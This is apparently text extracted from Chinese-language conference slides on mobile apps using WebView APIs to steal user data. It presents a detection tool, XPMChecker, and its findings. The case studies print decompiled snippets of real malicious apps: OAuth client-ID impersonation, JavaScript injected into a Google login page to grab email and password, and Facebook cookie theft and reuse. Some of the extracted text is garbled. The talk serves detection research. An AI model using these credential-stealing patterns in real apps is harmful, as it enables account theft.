1、移動應用是如何通過移動應用是如何通過WebView竊取你的隱私的竊取你的隱私的目錄I.移動應用與WEBII.同安全主體原則(SPP)與XPMIII.XPM自動化檢測工具IV.結果與案例分析V.總結與展望移動應用與Web移動應用內集成WEB服務廣泛應用于各種功能,如廣告,社交分享,用戶身份認證和授權復用已有Web代碼;適配不同平臺,提供一致的用戶體驗集成方式位于應用內部,提供流暢的交互界面提供豐富的接口,可令應用操作Web網頁WebView on AndroidUIWebView/WKWebView on iOSWebView:輕量級應用內瀏覽器Mobile appWebViewWebView
2、APIWebView提供的API可以操作以下Web敏感資源Manipulated WebResourcesAndroid WebViewiOS UIWebViewiOS WKWebViewLocal StorageCookieManagerNSHTTPCookieStorageWKWebsiteDataStorageWeb ContentloadUrl,evaulateJavascriptstringByEvaluatingJavascriptFromStringevaluateJavascriptWeb AddressonPageFinished,shouldOverrideUrlLoadi
3、ngNetwork TrafficshouldInteceptRequestshouldStartLoadWithRequestdecidePolicyForNavigationAction,decidePolicyForNavigationResponseQ:這些API會被安全的使用嗎?App-to-Web Attacks移動應用對加載的WEB資源進行攔截、篡改等操作最主要的方式是通過WebView APIWebApp但是大多數情況下,使用WebView API是安全的。怎樣區分App-to-Web Attacks和正常使用場景呢?目錄I.移動應用與WEBII.同安全主體原則(SPP)與XP
4、MIII.XPM自動化檢測工具IV.結果與案例分析V.總結與展望同安全主體原則SPP與XPM應用集成Web服務并對其敏感資源進行操作時,應用和Web的安全主體(Security Principal)必須一致。借鑒于Web中的同源策略(SOP,Same Origin Policy)同安全主體原則 Same Principal Policy(SPP)Cross Principal Manipulation(XPM)應用安全主體PA 和 Web安全主體 PW 不一致,且應用對Web資源進行了操作XPM示例C1:屬于Facebook官方AppC2:屬于Chatous App中的Facebook SDK
5、C3:屬于Chatous App中的類兩個App中的三個類都對Web資源進行了操作C1&C2:not XPMC3:XPM目錄I.移動應用與WEBII.同安全主體原則(SPP)與XPMIII.XPM自動化檢測工具IV.結果與案例分析V.總結與展望XPM自動化檢測工具1.準確識別Web和App的安全主體:第三方庫和App自身2.準確比較Web和App的安全主體是否一致:semantic gap挑戰Semantic Gap命名的多態性:netease&163縮寫:baidu&bdXPM自動化檢測工具1.確定代碼邊界,即與WebView操作相關的代碼2.提取代碼簽名,Merkle-tree的迭代式簽名
6、方法3.比較代碼簽名,識別第三方庫解決方法:1.第三方庫識別方法XPM自動化檢測工具1.在搜索引擎中搜索PA和PW2.將返回結果正規化,使用bag-of-word model和term frequency,生成兩個向量3.計算兩個向量之間的余弦距離解決方法:2.使用搜索引擎cos%,=+,-.+.+,-A+2?.+,-+2?XPMChecker1.靜態分析模塊,得到上下文信息2.安全主體識別模塊3.XPM分類器三個模塊目錄I.移動應用與WEBII.同安全主體原則(SPP)與XPMIII.XPM自動化檢測工具IV.結果與案例分析V.總結與展望XPMChecker 檢測結果發現了21款應用,具有惡
7、意行為,影響近億臺設備同時確認了4款iOS應用,同樣具有惡意行為掃描了8w多Google Play應用惡惡意意行行為為應應用用數數量量偽造其他合法App進行OAuth2偷取用戶名和密碼6偷取并濫用Cookies14注:一款應用具有兩種惡意行為案例分析1:偽造其他合法APP進行OAuth1.100-500萬裝機量2.冒用了另一個合法的app,Tinder的clientId進行授權認證Instaviewpackagecom.instaview.app;publicclassLoginActivity extendsActivity/getTinders client IDString client
8、Id=getTinderClientId();this.webview.setWebViewClient(new WebViewClient()public boolean shouldOverrideUrlLoading(WebView arg1,String url)/check if url is Instagrams OAuth API and extract the acess token for Tinderif(url.startsWith(“ accessToken=url.substring(url.indexOf(“code=”)+5,url.length();/then
9、use this token to access users profile infopackageco.kr.adkingkong.libs.autoinstall;publicclassGoogleWebLogin extendsRelativeLayout/load Google login Web pagethis.webview.loadUrl(“”);this.webview.setWebViewClient(new WebViewClient()public void onPageFinished(WebView arg1,String url)/inject JS to ste
10、al users email and passwordarg1.loadUrl(“javascript:if(document.getElementById(gaia_loginform)!=null)document.getElementById(gaia_loginform).onsubmit=functiononSubmit(form)/extract email and password from the login formemail=document.getElementById(email-display).innerHTML;passwd=document.getElement
11、ById(Passwd).value);”);案例分析2:偷取用戶名和密碼1.50-100萬裝機量2.偷取用戶的Google賬號和密碼adkingkong案例分析3:偷取并濫用Cookies1.1000-5000萬裝機量2.偷取Facebook的Cookies,并以此獲取用戶敏感信息和發送垃圾消息Chatouspackagecom.chatous.chatous.managers;publicclassFacebookManagerextendsManagerif(CookieManager.getInstance().getCookie(“https:/)!=null)/getFaceboo
12、kcookiescookies=CookieManager.getInstance().getCookie(“https:/);/usethesecookiestoaccessusersFacebookhomepageDefaultHttpClienthttpclient=newDefaultHttpClient();htttpclient.setCookieStore(cookieStore);HttpResponseresponse=httpclient.execute(newHttpGet(“https:/ Attacks,并發現了官方應用商城中的惡意應用2.提出Same Principal Policy,規范應用和Web的交互3.數據發布:https:/xhzhang.github.io/XPMChecker/謝 謝!